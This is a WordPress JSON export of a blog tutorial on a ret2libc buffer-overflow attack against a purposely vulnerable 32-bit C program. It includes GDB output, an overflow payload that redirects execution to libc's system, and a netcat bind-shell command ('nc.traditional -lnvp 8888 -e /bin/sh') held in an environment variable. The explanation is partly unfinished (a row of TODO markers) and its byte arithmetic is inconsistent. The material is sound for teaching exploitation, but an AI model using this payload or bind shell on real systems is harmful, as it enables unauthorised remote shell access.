{"id":3324,"date":"2021-07-30T09:32:21","date_gmt":"2021-07-30T07:32:21","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=3324"},"modified":"2021-07-30T11:10:23","modified_gmt":"2021-07-30T09:10:23","slug":"ret2lib","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=3324","title":{"rendered":"ret2lib"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Assume that we detect\u00aded a buffer over\u00adflow vul\u00adner\u00ada\u00adbil\u00adi\u00adty,&nbsp;but<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>we don\u2019t have enough space on the stack for our shellcode<\/li><li>or the bina\u00adry\u2019s stack is marked as not-exe\u00adcutable (<span class=\"caps\">DEP<\/span> enabled).<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Then we can try to call a com\u00admon library which is also loaded (wie the&nbsp;plt).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Walkthrough of a ret2lib attack<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before we start, dis\u00adable <span class=\"caps\">ASLR<\/span> as fol\u00adlows. Cir\u00adcum\u00advent\u00ading this is anoth\u00ader&nbsp;topic.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># echo 0 &gt; \/proc\/sys\/kernel\/randomize_va_space<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We have the fol\u00adlow\u00ading pro\u00adgram with a buffer over\u00adflow vulnerability:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme data-enlighter-highlight data-enlighter-linenumbers data-enlighter-lineoffset data-enlighter-title data-enlighter-group>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nvoid print_name() {\n\tchar name[20];\n\tprintf(\"Enter your name: \");\n\tgets(name);\n\tprintf(\"Hello \");\n\tputs(name);\n\tprintf(\"\\n\");\n}\n\nint main() {\n\tprint_name();\n\treturn 0;\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Com\u00adpile it as fol\u00adlows&nbsp;as<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>a 32 bit appli\u00adca\u00adtion (same prin\u00adci\u00adple, but short\u00ader addresses),<\/li><li>with\u00adout canary for the stack pro\u00adtec\u00adtion&nbsp;and<\/li><li>with\u00adout <span class=\"caps\">PIE<\/span> (posi\u00adtion inde\u00adpen\u00addent&nbsp;code)<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">with the fol\u00adlow\u00ading command:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">gcc -m32 -fno-stack-protector -no-pie test.c<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Exe\u00adcute it and enter 20 bytes. Then more. And&nbsp;more.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ .\/a.out &lt; &lt;(python -c 'print(\"A\" * 20)')\nEnter your name: Hello AAAAAAAAAAAAAAAAAAAA\n\n$ .\/a.out &lt; &lt;(python -c 'print(\"A\" * 24)')\nEnter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAA\n\n$ .\/a.out &lt; &lt;(python -c 'print(\"A\" * 28)')\nEnter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n$ .\/a.out &lt; &lt;(python -c 'print(\"A\" * 32)')\nEnter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\nSegmentation fault<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">It crash\u00ades with 32 A\u2019s. We know that the char buffer from the code is 20 bytes large. So \u2013 why did it not crash before?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lets inspect the bina\u00adry. Open <span class=\"caps\">GDB<\/span> and dis\u00adas\u00adsem\u00adble the <em>print_name<\/em> function.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ gdb a.out\n...\ngdb-peda$ disass print_name<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We see the fol\u00adlow\u00ading assem\u00adbler&nbsp;code:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">   0x080484b6 &lt;+0&gt;:\tpush   ebp\n   0x080484b7 &lt;+1&gt;:\tmov    ebp,esp\n   0x080484b9 &lt;+3&gt;:\tpush   ebx\n   0x080484ba &lt;+4&gt;:\tsub    esp,0x24\n   0x080484bd &lt;+7&gt;:\tcall   0x80483f0 &lt;__x86.get_pc_thunk.bx&gt;\n   0x080484c2 &lt;+12&gt;:\tadd    ebx,0x1b3e\n   0x080484c8 &lt;+18&gt;:\tsub    esp,0xc\n\n   0x080484cb &lt;+21&gt;:\tlea    eax,[ebx-0x1a30]\n   0x080484d1 &lt;+27&gt;:\tpush   eax\n   0x080484d2 &lt;+28&gt;:\tcall   0x8048340 &lt;printf@plt&gt;\n   0x080484d7 &lt;+33&gt;:\tadd    esp,0x10\n   0x080484da &lt;+36&gt;:\tsub    esp,0xc\n\n<strong>   0x080484dd &lt;+39&gt;:\tlea    eax,[ebp-0x1c]<\/strong>        \/\/ (1)\n   0x080484e0 &lt;+42&gt;:\tpush   eax                   \/\/ (2)\n   0x080484e1 &lt;+43&gt;:\tcall   0x8048350 &lt;gets@plt&gt;  \/\/ (3)\n   0x080484e6 &lt;+48&gt;:\tadd    esp,0x10\n   0x080484e9 &lt;+51&gt;:\tsub    esp,0xc\n...<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We see that in the pro\u00adlog of the gets func\u00adtion, 0x1C = 28 bytes are allo\u00adcat\u00aded on the stack. Two bytes more.&nbsp;Why?<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Func\u00adtion prolog<ul><li>(1) 0x12 bytes are allo\u00adcate on the stack. The stack base address is stored in the eax register.<\/li><li>(2) The cur\u00adrent stack base address in eax is pushed to the stack. It becomes now the saved stack pointer.&nbsp;<\/li><\/ul><\/li><li>(3) Func\u00adtion&nbsp;call<\/li><li>Func\u00adtion epilog<ul><li>(4)  <strong><strong><span class=\"caps\">TODO<\/span><\/strong> <span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <strong><span class=\"caps\">TODO<\/span><\/strong> <\/li><\/ul><\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><span class=\"caps\">OK<\/span>, now we under\u00adstand why we need two bytes more before we can over\u00adwrite the base point\u00ader. Let\u2019s do it: Still in <span class=\"caps\">GDB<\/span>, run the pro\u00adgram again, but split the input into three&nbsp;parts.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">gdb-peda$ run &lt; &lt;(python -c 'print(\"A\" * 20 + \"B\" *8 + \"C\" * 4)')\nStarting program: \/home\/deadlist\/re2libc_2021-06-30\/a.out &lt; &lt;(python -c 'print(\"A\" * 20 + \"B\" *8 + \"C\" * 4)')\nEnter your name: Hello AAAAAAAAAAAAAAAAAAAABBBBBBBBCCCC\n\nProgram received signal SIGSEGV, Segmentation fault.\n[----------------------------------registers-----------------------------------]\nEAX: 0xa ('\\n')\nEBX: 0x42424242 ('BBBB')\nECX: 0xf7fb4890 --&gt; 0x0\nEDX: 0xa ('\\n')\nESI: 0xf7fb3000 --&gt; 0x1d4d6c\nEDI: 0x0\nEBP: 0x43434343 ('CCCC')\n...<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We see that we could over\u00adwrite the base reg\u00adis\u00adter <span class=\"caps\">EBX<\/span> and the base point\u00ader <span class=\"caps\">EBP<\/span> with our val\u00adues. Now lets try to call <code>system<\/code> from libc. For this, we&nbsp;need<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>the address from system<\/li><li>the return address (if we are want the pro\u00adgram to con\u00adtin\u00adue nor\u00admal\u00adly; we don\u2019t need this else and could crash the pro\u00adgram after our execution)<\/li><li>argu\u00adments for the sys\u00adtem&nbsp;call<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">We get these val\u00adues as fol\u00adlows: Open <span class=\"caps\">GDB<\/span>, run the pro\u00adgram one time and print the address for sys\u00adtem and&nbsp;exit:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ gdb a.out\n...\ngdb-peda$ run\nEnter your name: dfsf\nHello dfsf\n\n[Inferior 1 (process 6678) exited normally]\nWarning: not running\ngdb-peda$ p system\n$1 = {&lt;text variable, no debug info&gt;} <strong>0xf7e1ad80<\/strong> &lt;system&gt;\ngdb-peda$ p exit\n$2 = {&lt;text variable, no debug info&gt;} <strong>0xf7e0dfd0<\/strong> &lt;exit&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now we need the argu\u00adment for sys\u00adtem. We use an envi\u00adron\u00adment vari\u00adable for this to have the space we need also for longer pro\u00adgram&nbsp;calls.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">export NC=\"nc.traditional -lnvp 8888 -e \/bin\/sh\"<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">All envi\u00adron\u00adment vari\u00adables are stored in the process mem\u00ado\u00adry. Lets see where our vari\u00adable will be: (env executable-&gt;see dis\u00adas\u00adsem\u00adbly dir on&nbsp;p151)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ .\/env NC a.out\nNC will be at 0xffffde94<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now we made our call where we use after the buffer with&nbsp;A\u2019s<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>the address of system,<\/li><li>the exit address and<\/li><li>the address of our envi\u00adron\u00adment variable.<\/li><\/ol>\n\n\n\n<pre class=\"wp-block-preformatted\">$ (python -c 'print(\"A\" * 20 + \"\\x80\\xad\\xe1\\xf7\" + \"\\xd0\\xdf\\xe0\\xf7\" + \"<strong>\\x94<\/strong>\\xde\\xff\\xff\")') | .\/a.out\nEnter your name: Hello AAAAAAAAAAAAAAAAAAAA\nsh: 1: lnvp: not found<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We have exe\u00adcu\u00adtion, but our address with the envi\u00adron\u00adment vari\u00adable is not right yet. Lets decrease the bold-print\u00aded byte of the argu\u00adment until  we find the start address.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ (python -c 'print(\"A\" * 20 + \"\\x80\\xad\\xe1\\xf7\" + \"\\xd0\\xdf\\xe0\\xf7\" + \"\\x84\\xde\\xff\\xff\")') | .\/a.out\nEnter your name: Hello AAAAAAAAAAAAAAAAAAAA\nlistening on [any] 8888 ...<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u20acprof\u00adit!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Assume that we detect\u00aded a buffer over\u00adflow vul\u00adner\u00ada\u00adbil\u00adi\u00adty,&nbsp;but we don\u2019t have enough space on the stack for our shell\u00adcode or the bina\u00adry\u2019s stack is marked as not-exe\u00ad\u00adcutable (<span class=\"caps\">DEP<\/span> enabled). Then we can try to call a com\u00admon library which is also loaded (wie the&nbsp;plt). Walk\u00adthrough of a ret2lib attack Before we start, dis\u00adable <span class=\"caps\">ASLR<\/span>&nbsp;as&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[355],"tags":[426,427],"class_list":["post-3324","post","type-post","status-publish","format-standard","hentry","category-reverse-engineering","tag-libc","tag-ret2libc"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3324"}],"version-history":[{"count":7,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3324\/revisions"}],"predecessor-version":[{"id":3340,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3324\/revisions\/3340"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}